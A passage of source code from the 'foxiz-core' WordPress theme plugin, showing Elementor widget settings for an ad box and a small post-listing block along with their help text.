'foxiz-core' ); } static function pagination_description() { return esc_html__( 'Select a ajax pagination type.', 'foxiz-core' ); } static function unique_description() { return esc_html__( 'Do not duplicate posts has been queried before this block.', 'foxiz-core' ); } static function dynamic_query_info() { return esc_html__( 'If you assign this template for category or archive. The dynamic query helps you to only filter posts that base on current category page it\'s display on.', 'foxiz-core' ); } static function dynamic_query_category_info() { return esc_html__( 'Dynamic query cannot execute in this live editor. The latest posts will be displayed. Your change will be effect when you assign this template to a category page.', 'foxiz-core' ); } static function scroll_description() { return esc_html__( 'Enable the scroll bar.', 'foxiz-core' ); } static function scroll_height_description() { return esc_html__( 'Input the max block height (in px) when you would like to enable scrollbar. Leave this option blank to disable the scroll bar.', 'foxiz-core' ); } static function color_scheme_description() { return esc_html__( 'Select a text color scheme for this block.', 'foxiz-core' ); } static function box_style_description() { return esc_html__( 'Select a box style for the post listing .', 'foxiz-core' ); } static function box_color_description() { return esc_html__( 'Select a color for the background or border style.', 'foxiz-core' ); } static function box_dark_color_description() { return esc_html__( 'Select a color in the dark mode or light scheme mode for the background or border style.', 'foxiz-core' ); } static function color_scheme_info_description() { return esc_html__( 'In case you would like to switch layout and text to light when set a dark background for this section.', 'foxiz-core' ); } static function custom_font_info_description() { return esc_html__( 'The settings below will override on theme option settings and the above font size settings.', 'foxiz-core' ); } static function counter_description() { return esc_html__( 'Display counter in the post listing. It will not compatible with the slider or carousel mode.', 'foxiz-core' ); } static function counter_set_description() { return esc_html__( 'Set a start value (index -1) for the counter.', 'foxiz-core' ); } static function counter_size_description() { return esc_html__( 'Input custom font sizes for the counter. Please blank to set it as the default.', 'foxiz-core' ); } static function title_size_description() { return esc_html__( 'Input custom font size values (px) for the post title for displaying in this block.', 'foxiz-core' ); } static function sub_title_size_description() { return esc_html__( 'Input custom font size values (px) for the secondary post title for displaying in this block.', 'foxiz-core' ); } static function sponsor_meta_description() { return esc_html__( 'Enable or disable the "sponsored by" meta for this post listing.', 'foxiz-core' ); } static function hide_category_description() { return esc_html__( 'Hide the entry category of this block on the tablet and mobile devices.', 'foxiz-core' ); } static function hide_excerpt_description() { return esc_html__( 'Hide the post excerpt of this block on the tablet and mobile devices.', 'foxiz-core' ); } static function tablet_hide_meta_description() { return esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all meta.', 'foxiz-core' ); } static function mobile_hide_meta_description() { return esc_html__( 'Input entry meta tags to hide on the mobile devices, separate by comma. For example: avatar, author Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all meta', 'foxiz-core' ); } static function slider_mode_description() { return esc_html__( 'Display this block in the slider layout if it has more than one post.', 'foxiz-core' ); } static function carousel_mode_description() { return esc_html__( 'Display this block in the carousel layout.', 'foxiz-core' ); } static function carousel_columns_description() { return esc_html__( 'Input total slides to show for the carousel. This value will be override on the columns settings, Allowing decimal value, i.e: 2.3, 2.4....', 'foxiz-core' ); } static function wide_carousel_columns_description() { return esc_html__( 'Input total slides to show for the carousel on the wide screen devices (wider than 1500px). Leave blank to use the above settings.', 'foxiz-core' ); } static function carousel_gap_description() { return esc_html__( 'Input a custom spacing value between carousel items. The spacing will be same as your input value. Set "-1" to disable the gap.', 'foxiz-core' ); } static function carousel_dot_description() { return esc_html__( 'Enable or disable the pagination dot for this carousel.', 'foxiz-core' ); } static function carousel_nav_description() { return esc_html__( 'Enable or disable the next/prev navigation dot for this carousel.', 'foxiz-core' ); } static function carousel_nav_spacing_description() { return esc_html__( 'Input a custom spacing for the carousel navigation bar.', 'foxiz-core' ); } static function carousel_autoplay_description() { return esc_html__( 'Enable or disable autoplay for this slider.', 'foxiz-core' ); } static function carousel_speed_description() { return esc_html__( 'Input a custom time to next a slide in milliseconds. Leave blank if you would like to set it as the default (Theme Options).', 'foxiz-core' ); } static function carousel_freemode_description() { return esc_html__( 'Enable or disable free mode when scrolling on for this carousel.', 'foxiz-core' ); } static function carousel_centered_description() { return esc_html__( 'Enable centered mode for this carousel in case you set decimal sliders.', 'foxiz-core' ); } static function el_spacing_description() { return esc_html__( 'Input custom spacing values (px) between elements for displaying in this block.', 'foxiz-core' ); } static function featured_spacing_description() { return esc_html__( 'Input custom spacing values (px) between elements and featured image for displaying in this block.', 'foxiz-core' ); } static function el_margin_description() { return esc_html__( 'Input custom bottom margin values (px) between posts listing.', 'foxiz-core' ); } static function bottom_border_description() { return esc_html__( 'Show a border at the bottom of each post in the listing. The bottom spacing will be x2 if you enable this option.', 'foxiz-core' ); } static function last_bottom_border_description() { return esc_html__( 'Disable border for the last posts in this listing.', 'foxiz-core' ); } static function center_mode_description() { return esc_html__( 'Centering text and content for the post listing.', 'foxiz-core' ); } static function middle_mode_description() { return esc_html__( 'Vertical align middle elements for the post listing.', 'foxiz-core' ); } static function border_description() { return esc_html__( 'Input a custom border radius (in px) for the featured image or boxed layout. Set 0 to disable it.', 'foxiz-core' ); } static function list_gap_description() { return esc_html__( 'Input 1/2 value of the custom gap between the featured image and list post content (in px) for desktop, tablet devices. The spacing will be 2x your input value.', 'foxiz-core' ); } static function archive_builder_info() { return esc_html__( 'The setting below allows you to apply the Global query (wp_query) to this layout and show it as a the main blog listing for the the category or archive page.', 'foxiz-core' ); } static function archive_builder_unique_info() { return esc_html__( 'Don\'t apply the WP global query mode for more than 1 block in a template to avoid duplicated layouts.', 'foxiz-core' ); } static function archive_builder_available_info() { return esc_html__( 'The "Query Settings" & "Unique Filter" will be not available in the "WP global query" mode.', 'foxiz-core' ); } static function archive_builder_pagination_info() { return esc_html__( 'Please use "WP Global Query Pagination". The "Ajax Pagination" settings will be not available when you choose "WP global query" mode.', 'foxiz-core' ); } static function archive_builder_admin_info() { return esc_html__( 'The "WP global query mode" layout cannot execute in this live editor. You can check these changes in the frontend when assign this template for a category or archive page.', 'foxiz-core' ); } static function archive_builder_total_posts_info() { return esc_html__( 'Tips: You can change the "Number of Posts" setting in "Query Settings" the same as with "Blog pages show at most" value. This will make the layout look like as the frontend.', 'foxiz-core' ); } static function archive_builder_posts_info() { return esc_html__( 'To change "Number of Posts" per page, please navigate to Category Page, Theme Options or Settings > Reading.', 'foxiz-core' ); } static function archive_pagination_info() { return esc_html__( 'This is the main blog pagination for the category and archive pages. It is only available on the archive builder template. Please don\'t place this block into a standard page.', 'foxiz-core' ); } static function archive_pagination_admin_info() { return esc_html__( 'The pagination cannot execute in this live editor. You can check these changes in the frontend when assign this template for a category or archive page', 'foxiz-core' ); } static function archive_pagination_description() { return esc_html__( 'The ajax types is available on category, tag and blog index page. For other archives, The theme will fallback to the numeric type.', 'foxiz-core' ); } static function query_mode_description() { return esc_html__( 'Choose to use the global query or use the "Query settings" panel. Please read the above notices for further information.', 'foxiz-core' ); } } elementor/ad-script.php000064400000010412147206624460011146 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'description', array( 'label' => esc_html__( 'Description', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input a description for this adverting box.', 'foxiz-core' ), 'default' => esc_html__( '- Advertisement -', 'foxiz-core' ), ) ); $this->add_control( 'code', array( 'label' => esc_html__( 'Ad/Adsense Code', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'description' => esc_html__( 'Input your custom ad or Adsense code. Use Adsense units code to ensure it display exactly where you put. The widget will not work if you are using auto ads.', 'foxiz-core' ), 'default' => '' ) ); $this->add_control( 'size', array( 'label' => esc_html__( 'Ad Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select a custom size for this ad if you use adsense ad units.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( 'Do not Override', 'foxiz-core' ), '1' => esc_html__( 'Custom Size Below', 'foxiz-core' ) ), 'default' => '0', ) ); $this->add_control( 'desktop_size', array( 'label' => esc_html__( 'Size on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select a size on the desktop device.', 'foxiz-core' ), 'options' => Options::ad_size_dropdown(), 'default' => '1', ) ); $this->add_control( 'tablet_size', array( 'label' => esc_html__( 'Size on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select a size on the tablet device.', 'foxiz-core' ), 'options' => Options::ad_size_dropdown(), 'default' => '1', ) ); $this->add_control( 'mobile_size', array( 'label' => esc_html__( 'Size on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select a size on the mobile device.', 'foxiz-core' ), 'options' => Options::ad_size_dropdown(), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_get_adsense' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); $settings['no_spacing'] = true; echo \foxiz_get_adsense( $settings ); } } }elementor/list-small-2.php000064400000071131147206624460011505 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '5', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_responsive_control( 'featured_width', array( 'label' => esc_html__( 'Custom Featured Width', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => esc_html__( 'Input custom width values (px) for the featured image. Leave blank to set it as the default.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .p-list-small-2 .feat-holder' => 'width: {{VALUE}}px', ), ) ); $this->add_control( 'featured_position', array( 'label' => esc_html__( 'Featured Position', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::featured_position_description(), 'options' => Options::featured_position_dropdown( false ), 'default' => 'left', ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => 'date' ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '-1', ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown( false ), 'default' => 'replace', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to section 25 ~ 33% of width with 1 column.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4, 5, 6 ) ), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4, 5, 6 ) ), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'feat_spacing', array( 'label' => esc_html__( 'Custom Featured Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::featured_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--featured-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'middle_mode', array( 'label' => esc_html__( 'Vertical Align', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::middle_mode_description(), 'options' => Options::vertical_align_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'carousel_section', array( 'label' => esc_html__( 'Carousel Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'carousel_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The ajax pagination setting will be not available if the carousel mode is activated.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'carousel', array( 'label' => esc_html__( 'Carousel', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_responsive_control( 'carousel_columns', array( 'label' => esc_html__( 'Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_columns_description(), 'default' => '', ) ); $this->add_control( 'carousel_wide_columns', array( 'label' => esc_html__( 'Wide Screen - Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::wide_carousel_columns_description(), 'default' => '', ) ); $this->add_responsive_control( 'carousel_gap', array( 'label' => esc_html__( 'Carousel Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_gap_description(), 'default' => '', ) ); $this->add_control( 'carousel_dot', array( 'label' => esc_html__( 'Pagination Dot', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_dot_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'carousel_nav', array( 'label' => esc_html__( 'Next/Prev', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_nav_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_responsive_control( 'carousel_footer_margin', array( 'label' => esc_html__( 